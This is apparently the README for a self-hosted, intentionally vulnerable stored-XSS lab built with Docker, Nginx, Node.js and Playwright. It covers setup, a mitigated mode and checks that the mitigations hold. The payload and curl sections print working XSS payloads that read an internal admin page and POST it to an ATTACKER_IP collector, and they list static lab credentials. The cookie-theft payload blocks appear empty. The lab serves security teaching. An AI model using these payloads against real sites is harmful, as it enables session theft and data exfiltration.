## https://sploitus.com/exploit?id=D5493115-5445-5E8B-97CA-32C885B5FC62
# Dalfox XSS Lab
Stored XSS / second-order XSS laboratory for isolated demonstrations with Docker Compose, Nginx, Node.js, PostgreSQL, Playwright, and a manual Python collector.
This repository starts in intentionally vulnerable mode. Use it only in a controlled environment that you own.
## What This Lab Demonstrates
1. A public form on `cross.fit` stores attacker-controlled content.
2. An internal admin panel on `backend.cross.fit` later renders that content.
3. A privileged browser session can become the bridge to an internal system even when the attacker cannot reach that backend directly.
4. Mitigations such as contextual output escaping, `HttpOnly`, and CSP reduce or block exploitation.
## Architecture
Services:
- `public-proxy`: only published entrypoint on host port `80`
- `public-app`: public gym landing page and contact form
- `internal-proxy`: Docker-only reverse proxy for `backend.cross.fit`
- `internal-app`: internal admin panel
- `worker`: Playwright browser logged in as admin
- `db`: PostgreSQL 16
Trust boundary:
- `cross.fit` is reachable from the attacker machine.
- `backend.cross.fit` is only resolvable inside Docker through the `internal-proxy` alias.
- The attacker should not be able to browse `backend.cross.fit` directly through the exposed port.
## Repository Layout
```text
.
โโโ docker-compose.yml
โโโ db/
โโโ nginx/
โโโ public-app/
โโโ internal-app/
โโโ worker/
โโโ tools/
โโโ docs/project_notes/
```
## Requirements
- Docker Engine + Docker Compose plugin
- `curl`
- Python 3
- Optional: Dalfox on the attacker machine
## Local Domains
### Attacker machine
Add only this mapping:
```text
192.168.56.10 cross.fit
```
Do not add:
```text
192.168.56.10 backend.cross.fit
```
### Single-host validation note
During the validation performed in this repository, the collector was tested from the Docker network using `172.28.0.1` as the host gateway. That is only a local convenience for same-host testing.
In the intended two-machine lab, replace `ATTACKER_IP` with the real IP of the attacker machine, for example `192.168.56.20`.
## Configuration
Copy `.env.example` to `.env` if you want persistent local overrides:
```bash
cp .env.example .env
```
Supported variables:
- `LAB_MODE=vulnerable|mitigated`
- `COOKIE_HTTPONLY=` optional explicit override
- `ENABLE_CSP=` optional explicit override
- `RENDER_UNSAFE_HTML=` optional explicit override
- `POLL_INTERVAL_SECONDS=20`
Behavior:
- `vulnerable`:
- raw HTML rendering enabled
- `HttpOnly=false`
- CSP disabled
- `mitigated`:
- escaped output enabled
- `HttpOnly=true`
- CSP enabled
## Start The Lab
```bash
docker compose up --build -d
```
Check status:
```bash
docker compose ps
```
Expected:
- `public-proxy` published on `0.0.0.0:80`
- `public-app`, `internal-app`, `internal-proxy`, `db`, and `worker` running
- no published host ports for `3000`, `3001`, or `5432`
## Infrastructure Validation
### Public entrypoint
```bash
curl -i http://cross.fit/
```
Expected: landing page for `CrossFit Atlas`.
### Backend isolation
```bash
curl -i -H "Host: backend.cross.fit" http://192.168.56.10/
```
Expected: connection closed, empty reply, or a non-success response. The internal backend must not be reachable through the published port.
### Worker access to internal backend
```bash
docker compose exec -T worker wget -S -O- http://backend.cross.fit/login
```
Expected: `200 OK`.
## Public App Flow
Open:
```text
http://cross.fit
```
Submit the contact form with:
- `full_name`
- `email`
- optional `phone`
- `message`
The `message` field is intentionally stored without sanitization in vulnerable mode.
## Start The Collector
Run this on the attacker machine:
```bash
python3 tools/collector.py
```
It listens on:
```text
0.0.0.0:9000
```
## Payloads
Replace `ATTACKER_IP` with the attacker machine IP.
### Visual XSS
```html
alert('XSS ejecutado en backend.cross.fit')
```
Expected:
- the script executes in the privileged Playwright browser
- the worker logs the dialog event
### Cookie theft
```html
```
Expected in vulnerable mode:
- `collector.py` receives `GET /collect`
- the query contains `gym_internal_session=...`
### Internal HTML exfiltration
```html
fetch('/admin/messages', { credentials: 'include' })
.then(r => r.text())
.then(html => {
const b64 = btoa(unescape(encodeURIComponent(html)));
fetch('http://ATTACKER_IP:9000/internal-html', {
method: 'POST',
mode: 'no-cors',
headers: { 'Content-Type': 'text/plain' },
body: b64
});
});
```
Expected in vulnerable mode:
- `collector.py` receives `POST /internal-html`
- the body decodes to the HTML of `/admin/messages`
## Submit Payloads With curl
### Legitimate message
```bash
curl -i -X POST http://cross.fit/contact \
-d "full_name=Juan Perez" \
-d "email=juan@example.com" \
-d "phone=099123456" \
-d "message=Quiero informacion sobre planes mensuales"
```
### Cookie payload
```bash
curl -i -X POST http://cross.fit/contact \
-d "full_name=Alumno XSS" \
-d "email=xss@example.com" \
-d "phone=099000000" \
--data-urlencode "message="
```
### HTML exfiltration payload
```bash
curl -i -X POST http://cross.fit/contact \
-d "full_name=Alumno XSS 2" \
-d "email=xss2@example.com" \
-d "phone=099000001" \
--data-urlencode "message=fetch('/admin/messages', { credentials: 'include' }).then(r => r.text()).then(html => { const b64 = btoa(unescape(encodeURIComponent(html))); fetch('http://ATTACKER_IP:9000/internal-html', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'text/plain' }, body: b64 }); });"
```
## Worker Behavior
The worker intentionally behaves like a real privileged user:
1. Opens `http://backend.cross.fit/login`
2. Logs in as `admin`
3. Visits `/admin/messages/next`
4. Waits for the page to render
5. Marks the message as processed
Logs:
```bash
docker compose logs -f worker
```
## Dalfox
Primary scenario:
```bash
dalfox url "http://cross.fit/contact" \
-X POST \
-d "full_name=Test&email=test@example.com&phone=123&message=INJECT_HERE"
```
Notes:
- this repository does not include the optional `/preview` helper route
- the core exercise focuses on the stored XSS chain, not a reflected helper
## Mitigation Mode
Switch the lab to mitigated mode:
```bash
LAB_MODE=mitigated docker compose up -d --build internal-app worker
```
Mitigated behavior:
- message detail renders escaped content instead of raw HTML
- session cookie is `HttpOnly`
- CSP blocks inline scripts and inline event handlers
## Validate The Mitigation
1. Start a fresh `collector.py`.
2. Switch to mitigated mode.
3. Submit the same payloads again.
4. Watch the worker logs.
5. Confirm the collector receives nothing.
Expected:
- the worker still processes the message
- the payload appears as text in the internal detail view
- no cookie theft reaches the collector
- no `/internal-html` POST reaches the collector
## Shutdown
```bash
docker compose down -v
```
## Notes About Intentional Insecurity
This repository intentionally includes:
- stored attacker-controlled HTML in the public form flow
- a vulnerable raw HTML sink in the admin detail page when `LAB_MODE=vulnerable`
- static lab credentials (`admin/admin123`)
- non-`HttpOnly` session cookies in vulnerable mode
These choices exist only for the lab scenario.
## References
- OWASP Cross-Site Scripting:
`https://owasp.org/www-community/attacks/xss/`
- OWASP XSS Prevention Cheat Sheet:
`https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html`
- MDN Cookies / HttpOnly:
`https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies`
- Docker Compose Networking:
`https://docs.docker.com/compose/how-tos/networking/`
- Nginx access controls:
`https://nginx.org/en/docs/http/ngx_http_access_module.html`